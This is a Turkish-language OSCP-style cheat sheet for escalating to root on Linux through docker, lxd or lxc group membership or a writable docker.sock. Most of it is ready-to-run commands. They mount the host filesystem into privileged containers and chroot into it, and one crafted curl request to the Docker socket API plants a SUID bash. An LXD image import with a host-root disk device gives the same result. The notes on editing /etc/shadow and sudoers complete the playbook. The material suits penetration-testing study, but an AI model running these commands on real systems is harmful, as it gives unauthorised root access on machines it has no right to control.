Docker / LXD-LXC Group ve docker.sock ile Privilege Escalation
Kullanıcı docker veya lxd/lxc grubundaysa, ya da yazılabilir bir /var/run/docker.sock varsa, host filesystem'ini bir konteynere mount ederek veya privileged konteyner çalıştırarak root'a yükselirsin.
- id çıktısında docker, lxd veya lxc grup üyeliği
- VEYA okunabilir/yazılabilir /var/run/docker.sock
- Hedefte docker/lxd binary ve çalışan daemon (veya socket erişimi)
Komutlar
id; groups; getent group docker lxd lxc ls -la /var/run/docker.sock; docker version docker run -v /:/mnt --rm -it alpine chroot /mnt sh docker images; docker run -v /:/mnt --rm -it <local_image> chroot /mnt sh docker run --rm -it --privileged --net=host --pid=host -v /:/host alpine chroot /host sh curl -s --unix-socket /var/run/docker.sock http://localhost/images/json curl -s -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["chroot","/host","sh","-c","cp /bin/bash /host/tmp/bash; chmod +s /host/tmp/bash"],"Binds":["/:/host"]}' http://localhost/containers/create lxd init --auto; lxc image import ./alpine.tar.gz --alias myimage lxc init myimage privesc -c security.privileged=true; lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true; lxc start privesc; lxc exec privesc /bin/sh git clone https://github.com/saghul/lxd-alpine-builder.git; cd lxd-alpine-builder; sudo ./build-alpine Tespit (Enumeration)
İlk iş id çıktısına bakmaktır. Eğer çıktıda docker, lxd veya lxc grubu görüyorsan, bu pratikte root’a eşdeğerdir — bu gruplar host filesystem’ini bir konteynere mount etme yeteneği verir. Grup üyeliği yoksa, ls -la /var/run/docker.sock ile socket’in dünya-yazılabilir (veya senin grubun tarafından yazılabilir) olup olmadığını kontrol et. Yazılabilir bir docker.sock, docker grubunda olmasan bile aynı sonucu verir.
LinPEAS bu kontrolleri otomatik yapar ama elle doğrulamak şart: docker version daemon’a ulaşabildiğini, docker images ise internet olmadan kullanabileceğin lokal image’leri gösterir.
Docker Group → Host Root
Mantık basit: konteyner içindeki root, host’taki root ile (user namespace remap yoksa) aynı UID 0’dır. Host kökünü (/) konteyner içine bind-mount edip chroot yaparsan, host dosya sistemine root olarak yazarsın.
docker run -v /:/mnt ... chroot /mnt shen sade yöntemdir;/etc/shadow’u düzenleyebilir,/etc/sudoers’a satır ekleyebilir veya bir SUID bash bırakabilirsin.- İnternet yoksa
alpineçekemezsin;docker imagesile hedefte zaten var olan bir image kullan. --privileged --net=host --pid=hostbayraklarıyla daha agresif bir kaçış da mümkün ama mount yöntemi OSCP’de en güvenilir olanıdır.
docker.sock (binary yoksa)
Hedefte docker binary’si yoksa ama yazılabilir socket varsa, Docker REST API’sini curl --unix-socket ile doğrudan konuşursun. Akış: image listele → host kökü Binds ile mount eden bir konteyner create et → start et → çıktısını logs ile al. Konteyner komutu olarak host’a SUID bash bırakmak (chmod +s) en pratiğidir; sonra host’ta /tmp/bash -p ile root.
LXD / LXC Group
lxd/lxc grubundaysan akış üç adımdır:
- Saldırgan makinende minimal Alpine LXD image üret (
lxd-alpine-builder), oluşan.tar.gz’i hedefe transfer et. - Hedefte
lxc image importile içeri al,lxd init --autoile storage hazırla. security.privileged=trueile container init et velxc config device add ... source=/ ... recursive=trueile host kökünü container içine mount et. Container’alxc exec ... /bin/shile girdiğinde/mnt/rootaltında host’un tüm dosya sistemi root yetkisiyle önündedir.
Notlar / Gotchas
- User namespace remapping aktifse (
/etc/docker/daemon.jsoniçindeuserns-remap), konteyner root’u host’ta unprivileged UID’e map’lenir ve mount yöntemi root vermez. OSCP lab’larında nadirdir. lxd initbazı sürümlerde interaktif sorar;--autobayrağı bunu atlatır. Eski sürümlerdelxcyerinelxd.lxcçağrısı gerekebilir.- Image import için disk alanı ve
/tmpyazma izni gerekir; transferipython3 -m http.server+wgetile yap. - Bu teknikler exploit değil yanlış yapılandırma istismarıdır; OSCP’de tamamen safe sayılır, Metasploit kısıtı uygulanmaz.